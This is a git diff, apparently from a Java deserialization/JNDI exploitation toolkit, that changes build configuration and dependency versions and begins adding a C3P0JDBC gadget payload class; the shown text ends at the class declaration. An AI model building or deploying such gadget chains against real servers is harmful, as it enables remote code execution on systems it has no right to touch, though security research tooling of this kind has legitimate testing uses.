diff --git a/.idea/gradle.xml b/.idea/gradle.xml
index e526f2a..ff31ca2 100644
--- a/.idea/gradle.xml
+++ b/.idea/gradle.xml
@@ -7,7 +7,6 @@
-
-
+
diff --git a/build.gradle b/build.gradle
index 57b5561..321ac3f 100644
--- a/build.gradle
+++ b/build.gradle
@@ -31,12 +31,14 @@ shadowJar {
}
dependencies {
+ implementation files('libs/jai-core-1.1.3.jar')
+ implementation files('libs/weblogic-server.jar')
api libs.io.projectreactor.reactor.core
api libs.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc
api libs.org.glassfish.tyrus.tyrus.server
- api libs.javax.media.jai.jai.core
+// api libs.javax.media.jai.jai.core
api libs.org.javassist.javassist
- api libs.com.oracle.weblogic.weblogic.server
+// api libs.com.oracle.weblogic.weblogic.server
api libs.xerces.xercesimpl
api libs.com.fasterxml.jackson.core.jackson.databind
api libs.com.teradata.jdbc.terajdbc
@@ -124,5 +126,5 @@ tasks.withType(Javadoc) {
compileJava {
options.compilerArgs << '-XDignore.symbol.file'
options.fork = true
- options.forkOptions.executable = 'C:\\env\\JAVA\\corretto_jdk1.8.0_412\\bin\\javac.exe'
+ options.forkOptions.executable = '/Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home/bin/javac'
}
\ No newline at end of file
diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml
index 4b90e70..8e21b19 100644
--- a/gradle/libs.versions.toml
+++ b/gradle/libs.versions.toml
@@ -41,11 +41,11 @@ org-apache-wicket-wicket-util = "6.23.0"
org-aspectj-aspectjweaver = "1.9.7"
org-beanshell-bsh = "2.0b5"
org-clojure-clojure = "1.8.0"
-org-codehaus-groovy-groovy = "2.4.5"
+org-codehaus-groovy-groovy = "2.4.3"
org-eclipse-jetty-jetty-ant = "11.0.7"
org-fusesource-jansi-jansi = "2.4.0"
org-glassfish-tyrus-tyrus-server = "2.0.0"
-org-hibernate-hibernate-core = "4.3.11.Final"
+org-hibernate-hibernate-core = "4.1.12.Final"
org-javassist-javassist = "3.29.2-GA"
org-jboss-interceptor-jboss-interceptor-core = "2.0.0.Final"
org-jboss-interceptor-jboss-interceptor-spi = "2.0.0.Final"
diff --git a/src/main/java/com/qi4l/jndi/gadgets/C3P0JDBC.java b/src/main/java/com/qi4l/jndi/gadgets/C3P0JDBC.java
new file mode 100644
index 0000000..cdf82da
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/gadgets/C3P0JDBC.java
@@ -0,0 +1,44 @@
+package com.qi4l.jndi.gadgets;
+
+import com.alibaba.fastjson.JSONArray;
+import com.mchange.v2.c3p0.ComboPooledDataSource;
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+
+import javax.management.BadAttributeValueExpException;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+
+@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
+@Authors({Authors.Unam4})
+public class C3P0JDBC implements ObjectPayload